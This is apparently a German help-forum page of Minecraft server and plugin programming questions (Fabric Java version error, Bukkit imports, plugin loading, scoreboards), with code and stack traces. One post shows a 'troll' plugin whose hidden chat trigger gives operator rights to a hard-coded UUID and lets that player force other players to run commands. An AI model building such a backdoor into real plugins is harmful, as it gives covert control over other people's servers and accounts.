Wie behebe ich die Fehlermeldung beim starten des fabric Servers?

Beim starten der Start.bat Datei für den Minecraft Fabric server bekomme ich diese Fehlermeldung:

Uncaught exception in thread "main"

java.lang.RuntimeException: An exception occurred when launching the server!

at net.fabricmc.loader.impl.launch.server.FabricServerLauncher.main(FabricServerLauncher.java:71)

at net.fabricmc.installer.ServerLauncher.main(ServerLauncher.java:69)

Caused by: java.lang.RuntimeException: Error invoking MC server bundler: java.lang.UnsupportedClassVersionError: net/minecraft/bundler/Main has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 52.0

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor.process(BundlerProcessor.java:102)

at net.fabricmc.loader.impl.game.minecraft.MinecraftGameProvider.locateGame(MinecraftGameProvider.java:193)

at net.fabricmc.loader.impl.launch.knot.Knot.createGameProvider(Knot.java:175)

at net.fabricmc.loader.impl.launch.knot.Knot.init(Knot.java:130)

at net.fabricmc.loader.impl.launch.knot.Knot.launch(Knot.java:68)

at net.fabricmc.loader.impl.launch.knot.KnotServer.main(KnotServer.java:23)

at net.fabricmc.loader.impl.launch.server.FabricServerLauncher.main(FabricServerLauncher.java:69)

... 1 more

Caused by: java.lang.UnsupportedClassVersionError: net/minecraft/bundler/Main has been compiled by a more recent version of the Java Runtime (class file version 65.0), this version of the Java Runtime only recognizes class file versions up to 52.0

at java.lang.ClassLoader.defineClass1(Native Method)

at java.lang.ClassLoader.defineClass(Unknown Source)

at java.lang.ClassLoader.defineClass(Unknown Source)

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor$1.loadClass(BundlerProcessor.java:65)

at java.lang.ClassLoader.loadClass(Unknown Source)

at java.lang.Class.forName0(Native Method)

at java.lang.Class.forName(Unknown Source)

at net.fabricmc.loader.impl.game.minecraft.BundlerProcessor.process(BundlerProcessor.java:85)

... 7 more

kann mir jemand helfen es zu beheben?

Bild zum Beitrag
Server, Mods, Java, Minecraft, Code, Minecraft Server, Serverprobleme, Bukkit, Forge, Spigot, fabric
Minecraft 1.20.4 - Eclipse Programmierung, kann keine Imports machen?

Ich möchte mit Java ein Plugin für 1.20.4 programmieren und habe mir ein Code von ChatGPT schreiben lassen.

package de.diamanthoe.plugin;

import org.bukkit.Material;

import org.bukkit.Particle;

import org.bukkit.command.Command;

import org.bukkit.command.CommandSender;

import org.bukkit.command.CommandExecutor;

import org.bukkit.configuration.ConfigurationSection;

import org.bukkit.configuration.file.FileConfiguration;

import org.bukkit.entity.Player;

import org.bukkit.inventory.Inventory;

import org.bukkit.inventory.ItemStack;

import org.bukkit.inventory.meta.ItemMeta;

import org.bukkit.plugin.java.JavaPlugin;

import org.bukkit.Location;

public class NaviSystem extends JavaPlugin implements CommandExecutor {

  @Override

  public void onEnable() {

    // Register commands

    getCommand("navi").setExecutor(this);

  }

  @Override

  public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {

    if (!(sender instanceof Player)) {

      sender.sendMessage("Dieser Befehl kann nur von Spielern ausgeführt werden.");

      return true;

    }

    Player player = (Player) sender;

    if (cmd.getName().equalsIgnoreCase("navi")) {

      if (args.length >= 1) {

        if (args[0].equalsIgnoreCase("save")) {

          if (args.length >= 2) {

            savePoint(args[1], player.getLocation());

            sender.sendMessage("Punkt gespeichert unter: " + args[1]);

          } else {

            sender.sendMessage("Verwendung: /navi save [Name]");

          }

        } else {

          if (args.length >= 3) {

            try {

              double x = Double.parseDouble(args[0]);

              double y = Double.parseDouble(args[1]);

              double z = Double.parseDouble(args[2]);

              Location target = new Location(player.getWorld(), x, y, z);

              createParticleTrail(player, target);

            } catch (NumberFormatException e) {

              sender.sendMessage("Ungültige Koordinaten.");

            }

          } else {

            sender.sendMessage("Verwendung: /navi <x y z>");

          }

        }

      } else {

        sender.sendMessage("Verwendung: /navi <x y z>");

      }

    }

    return true;

  }

  private void createParticleTrail(Player player, Location target) {

    Location playerLocation = player.getLocation();

    player.spawnParticle(Particle.REDSTONE, playerLocation, 0, target.getX(), target.getY(), target.getZ(), 10);

  }

  private void savePoint(String name, Location location) {

    FileConfiguration config = getConfig();

    config.set("points." + name + ".world", location.getWorld().getName());

    config.set("points." + name + ".x", location.getX());

    config.set("points." + name + ".y", location.getY());

    config.set("points." + name + ".z", location.getZ());

    saveConfig();

  }

  private void openPointsGUI(Player player) {

    Inventory gui = getServer().createInventory(null, 9, "Gespeicherte Punkte");

    ConfigurationSection pointsSection = getConfig().getConfigurationSection("points");

    if (pointsSection != null) {

      for (String pointName : pointsSection.getKeys(false)) {

        ConfigurationSection pointConfig = pointsSection.getConfigurationSection(pointName);

        if (pointConfig != null) {

          String worldName = pointConfig.getString("world");

          double x = pointConfig.getDouble("x");

          double y = pointConfig.getDouble("y");

          double z = pointConfig.getDouble("z");

          ItemStack pointItem = createPointItem(worldName, x, y, z);

          gui.addItem(pointItem);

        }

      }

    }

    player.openInventory(gui);

  }

  private ItemStack createPointItem(String worldName, double x, double y, double z) {

    ItemStack item = new ItemStack(Material.COMPASS);

    ItemMeta meta = item.getItemMeta();

    meta.setDisplayName(worldName + " - " + x + ", " + y + ", " + z);

    item.setItemMeta(meta);

    return item;

  }

}

Das Problem ist, dass da total viel rot unterstrichen wird, was wahrscheinlich auf die Imports zurückzuführen ist. Die Imports selbst sind teilweise ebenso rot interstrichen (org.bukkit).

Ich benutze das JDK 17 und Java SE 1.8.

Java, Minecraft, Code, Minecraft Server, Programmiersprache, Bukkit, Spigot
Code Error Java?
public class Main {
public static void main(String[] args) {


    GUI gui = new GUI();
    
    }
    
   public static int fak (int n) {
        if (n == 0) {
            return 1;
        }
        return n * fak(n - 1);
    }
    
}

import javax.swing.*;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;


import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;


public class GUI extends JFrame {
    JButton button = new JButton("Berechnen");
    JLabel label = new JLabel("Bitte geben Sie die Zahl ein: ");
    JTextField textfield = new JTextField(2);
    JOptionPane popup = new JOptionPane();
    JPanel panel = new JPanel();
    
    public GUI () {
        setSize(300, 300);
        setTitle("Fakultätsrechner");
        setLayout(new FlowLayout());
        setVisible(true);
        
        panel.add(textfield);
        panel.add(label);
        panel.add(button);
        add(panel);
        
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setVisible(true);


        button.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                try {
                    String input = textfield.getText();
                    int number = Integer.parseInt(input);
                    int result = Main.fak(number);
                    JOptionPane.showMessageDialog(null, "Die Fakultät von " + number + " ist " + result);
                } catch (NumberFormatException ex) {
                    JOptionPane.showMessageDialog(null, "Bitte geben Sie eine gültige Ganzzahl ein.");
                }
            }
        });
        
    }





}

Error: java.lang.ClassNotFoundException: Main

Aber wieso findet er denn die Main-Klasse nicht? Verstehe ich nicht.

App, Java, Minecraft, Array, Code, Eclipse, Minecraft Server, Programmiersprache, Swing, game-development, Bukkit, Spigot, Java Swing, Android Studio
Python Bukkit Plugin Fehler?

Hallo,

Ich wollte mich mal damit Beschäftigen, wie man für Minecraft Plugins in Python programmiert. Dafür habe ich mir einen Bukkit-Server eingerichtet und das Plugin PPLoader installiert, damit ich selber Plugins in Python entwickeln kann.

Ich habe mir dann ein passendes Verzeichnis erstellt und mir die beiden notwendigen Dateien erstellt.

plugin.py:

class HelloPlugin(PythonPlugin):
    def onEnable(self):
        self.getLogger().info("Hello world!")

plugin.yml:

name: Hello Plugin
mani: HelloPlugin
version: 1.0

Aber leider wenn ich meinen Server starte bekomme ich folgenden Fehler:

[16:41:54] [Server thread/INFO]: [PPLoader] Loading PPLoader v1.2.0
[16:41:54] [Server thread/INFO]: [PPLoader] Loading Plugin Hello.py.dir
[16:41:54] [Server thread/WARN]: org.bukkit.plugin.InvalidPluginException: org.bukkit.plugin.InvalidDescriptionException: main is not defined
[16:41:54] [Server thread/WARN]:    at org.cyberlis.pyloader.PythonPluginLoader.loadPlugin(PythonPluginLoader.java:160)
[16:41:54] [Server thread/WARN]:    at org.cyberlis.pyloader.PythonPluginLoader.loadPlugin(PythonPluginLoader.java:119)
[16:41:54] [Server thread/WARN]:    at org.cyberlis.pyloader.PythonPluginLoader.loadPlugin(PythonPluginLoader.java:93)
[16:41:54] [Server thread/WARN]:    at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:393)
[16:41:54] [Server thread/WARN]:    at org.cyberlis.pyloader.PythonLoader.onLoad(PythonLoader.java:85)
[16:41:54] [Server thread/WARN]:    at org.bukkit.craftbukkit.v1_20_R3.CraftServer.loadPlugins(CraftServer.java:433)
[16:41:54] [Server thread/WARN]:    at net.minecraft.server.dedicated.DedicatedServer.e(DedicatedServer.java:213)
[16:41:54] [Server thread/WARN]:    at net.minecraft.server.MinecraftServer.w(MinecraftServer.java:979)
[16:41:54] [Server thread/WARN]:    at net.minecraft.server.MinecraftServer.lambda$0(MinecraftServer.java:296)
[16:41:54] [Server thread/WARN]:    at java.base/java.lang.Thread.run(Thread.java:1583)
[16:41:54] [Server thread/WARN]: Caused by: org.bukkit.plugin.InvalidDescriptionException: main is not defined
[16:41:54] [Server thread/WARN]:    at org.bukkit.plugin.PluginDescriptionFile.loadMap(PluginDescriptionFile.java:1037)
[16:41:54] [Server thread/WARN]:    at org.bukkit.plugin.PluginDescriptionFile.<init>(PluginDescriptionFile.java:264)
[16:41:54] [Server thread/WARN]:    at org.cyberlis.pyloader.PythonPluginLoader.loadPlugin(PythonPluginLoader.java:152)
[16:41:54] [Server thread/WARN]:    ... 9 more
[16:41:54] [Server thread/WARN]: Caused by: java.lang.NullPointerException: Cannot invoke "Object.toString()" because the return value of "java.util.Map.get(Object)" is null
[16:41:54] [Server thread/WARN]:    at org.bukkit.plugin.PluginDescriptionFile.loadMap(PluginDescriptionFile.java:1032)
[16:41:54] [Server thread/WARN]:    ... 11 more

Viele Grüße und danke für eine Antwort

TheCPP

Minecraft, Minecraft Server, Plug-in, Python, Bukkit, Bukkit-Plugin
Selbstprogramiertes Plugin auf lokalen Server funktioniert nicht?

Ich habe ein Minecraft Plugin selbst programmiert aber jetzt wird diese Fehlermeldung angezeigt:

[08:53:05] [Server thread/ERROR]: Could not load 'plugins\EasyConvert+1.0.0.jar' in folder 'plugins'
org.bukkit.plugin.InvalidPluginException: Cannot find main class `easytrade.thepixel3261.easytrade.EasyTrade'
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:69) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:145) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:394) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:301) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.craftbukkit.v1_20_R1.CraftServer.loadPlugins(CraftServer.java:435) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.dedicated.DedicatedServer.e(DedicatedServer.java:219) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.MinecraftServer.w(MinecraftServer.java:972) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at net.minecraft.server.MinecraftServer.lambda$0(MinecraftServer.java:303) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
    at java.lang.Thread.run(Thread.java:1583) ~[?:?]
Caused by: java.lang.ClassNotFoundException: easytrade.thepixel3261.easytrade.EasyTrade
    at org.bukkit.plugin.java.PluginClassLoader.loadClass0(PluginClassLoader.java:147) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at org.bukkit.plugin.java.PluginClassLoader.loadClass(PluginClassLoader.java:99) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:526) ~[?:?]
    at java.lang.Class.forName0(Native Method) ~[?:?]
    at java.lang.Class.forName(Class.java:534) ~[?:?]
    at java.lang.Class.forName(Class.java:513) ~[?:?]
    at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:67) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
    ... 8 more

Als Server Software benutze ich Spigot. Das ist der Code der Main.java Datei:

package easytrade.thepixel3261.easytrade;

import org.bukkit.Material;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.plugin.java.JavaPlugin;

public class Main extends JavaPlugin {

    @Override
    public void onEnable() {
        getLogger().info("Plugin enabled!");
    }

    @Override
    public void onDisable() {
        getLogger().info("Plugin disabled!");
    }

    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
        if (cmd.getName().equalsIgnoreCase("convert")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("Only players can use this command.");
                return true;
            }

            Player player = (Player) sender;

            if (args.length != 2) {
                player.sendMessage("Usage: /convert <material> <amount>");
                return true;
            }

            Material fromMaterial = Material.getMaterial(args[0].toUpperCase());
            int amount = Integer.parseInt(args[1]);

            if (fromMaterial == null) {
                player.sendMessage("Invalid material specified.");
                return true;
            }

            Material toMaterial = null;

            if (fromMaterial == Material.COPPER_INGOT && amount >= 2) {
                toMaterial = Material.EMERALD;
                amount /= 2;
            } else if (fromMaterial == Material.EMERALD && amount >= 1) {
                toMaterial = Material.COPPER_INGOT;
                amount *= 2;
            } else {
                player.sendMessage("Invalid material specified or not enough items.");
                return true;
            }

            ItemStack fromItem = new ItemStack(fromMaterial, amount);

            if (!player.getInventory().containsAtLeast(fromItem, amount)) {
                player.sendMessage("You do not have enough " + fromMaterial.toString().toLowerCase() + "s in your inventory.");
                return true;
            }

            ItemStack toItem = new ItemStack(toMaterial, amount);

            // Remove the specified number of items from the player's inventory
            player.getInventory().removeItem(fromItem);

            // Add the converted items to the player's inventory
            player.getInventory().addItem(toItem);

            player.sendMessage("Successfully converted " + amount + " " + fromMaterial.toString().toLowerCase() + "s to " + amount + " " + toMaterial.toString().toLowerCase() + "s.");

            return true;
        }

        return false;
    }
}

Java, Minecraft, Bukkit, Spigot, PaperMC
Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Fehler wenn ich auf Spigot 1.8.8 Server joine?

Hi. Ich komme nicht auf meinen Spigot 1.8.8 Server. Immer wenn ich versuche zu joinen kommt unendlich lange diese Meldung ganz schnell wiederholt in der Konsole:

[16:25:56 WARN]: An exceptionCaught() event was fired, and it reached at the tail of the pipeline. It usually means the last handler in the pipeline did not handle the exception.
java.lang.RuntimeException: Unable to access address of buffer
        at io.netty.channel.epoll.Native.read(Native Method) ~[spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.doReadBytes(EpollSocketChannel.java:678) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe.epollInReady(EpollSocketChannel.java:714) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollSocketChannel$EpollSocketUnsafe$3.run(EpollSocketChannel.java:755) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:380) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:268) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at io.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) [spigot-1.8.8-R0.1-SNAPSHOT-latest.jar:git-Spigot-db6de12-18fbb24]
        at java.base/java.lang.Thread.run(Thread.java:831) [?:?]

Ich habe kein einziges Plugin auf dem Server und seit dem ersten Start nichts verändert. Und ja ich bin auch gewhitelisted und so...

Server, Computer, Java, Minecraft, Minecraft Server, Bukkit, craftbukkit, Spigot, minecraft 1.8, Spiele und Gaming
Wieso wird mein Scoreboard nicht angezeigt?
	  public void setScoreboard(Player p) {
		    ScoreboardManager sm = Bukkit.getScoreboardManager();
		    Scoreboard board = sm.getNewScoreboard();
		    Objective o = board.registerNewObjective("test", "dummy");
		    o.setDisplaySlot(DisplaySlot.SIDEBAR);
		    o.setDisplayName(cfg.getString("Displayname"));
		    o.getScore("§a   ").setScore(10);
		    o.getScore("§fMap").setScore(9);
		    o.getScore("§d" + p.getWorld().getName()).setScore(8);
		    o.getScore("§e    ").setScore(7);
		    o.getScore("§fKills:").setScore(6);
		    o.getScore("§e"+ p.getStatistic(Statistic.PLAYER_KILLS)).setScore(5);
		    o.getScore("§f    ").setScore(4);
		    o.getScore("§fTeams:" ).setScore(3);
		    o.getScore("§aERLAUBT!").setScore(2);
		    o.getScore("§1   ").setScore(1);
		    o.getScore("§eMade by KoCoLP!").setScore(0);
		    p.setScoreboard(board);


		  }
		  
		  @EventHandler
		  public void onJoin1(PlayerJoinEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onQuit2(PlayerQuitEvent e) {
		    (new BukkitRunnable() {
		        public void run() {
		          for (Player all : Bukkit.getOnlinePlayers())
		            GunGame.this.setScoreboard(all); 
		        }
		      }).runTaskLater((Plugin)this, 1L);
		  }
		  
		  @EventHandler
		  public void onDeath3(PlayerDeathEvent e) {
		    for (Player all : Bukkit.getOnlinePlayers())
		      GunGame.this.setScoreboard(all); 
		  }
	


programmieren, Minecraft, developer, Bukkit, scoreboard, Spigot
Minecraft Spigot PlayerBreakBlock Animation?

Servus,

ich versuche gerade eine Animation, die passiert wenn jemand einen Block platziert.

Die Animation soll den Block langsam zerstören

Was ich jz gemacht habe:

if(e.getBlock().getType().equals(Material.STONE)) {	
		e.getPlayer().sendMessage("Block placed");
		Bukkit.getScheduler().scheduleAsyncRepeatingTask(gameManager, new Runnable() {
			int blockBreakState = 0;
			PacketPlayOutBlockBreakAnimation packet = new PacketPlayOutBlockBreakAnimation(0, new BlockPosition(e.getBlock().getX(), e.getBlock().getY(), e.getBlock().getZ()), blockBreakState);
			@Override
			public void run() {
				//e.getBlock()
				if(blockBreakState <= 10) {
					packet = new PacketPlayOutBlockBreakAnimation(0, new BlockPosition(e.getBlock().getX(), e.getBlock().getY(), e.getBlock().getZ()), blockBreakState);
					for(Player t : Bukkit.getOnlinePlayers()) {
						((CraftPlayer) t).getHandle().playerConnection.sendPacket(packet);
					}
				}else {
					e.getBlock().setType(Material.AIR);
					return;
				}
				blockBreakState += 1;
			}
		}, 1*20, 1*20);	
		return;
	}else {
		e.getPlayer().sendMessage("ne1");
	}

So,
Leider habe ich keine Ahnung wie man "CraftPlayer" importiert. Ich habe viel drüber gelesen und mit Git versucht Buildtools zu kompilieren aber habe es nicht geschafft

Hat jemand Ahnung davon und weiß wie man die Animation richtig hinkriegt?

Danke im Vorraus!!

Computer, programmieren, Java, Minecraft, Minecraft Server, Bukkit, craftbukkit, Spigot, Minecraft Plugin, plugins programmieren, Spigot Plugin

Meistgelesene Beiträge zum Thema Bukkit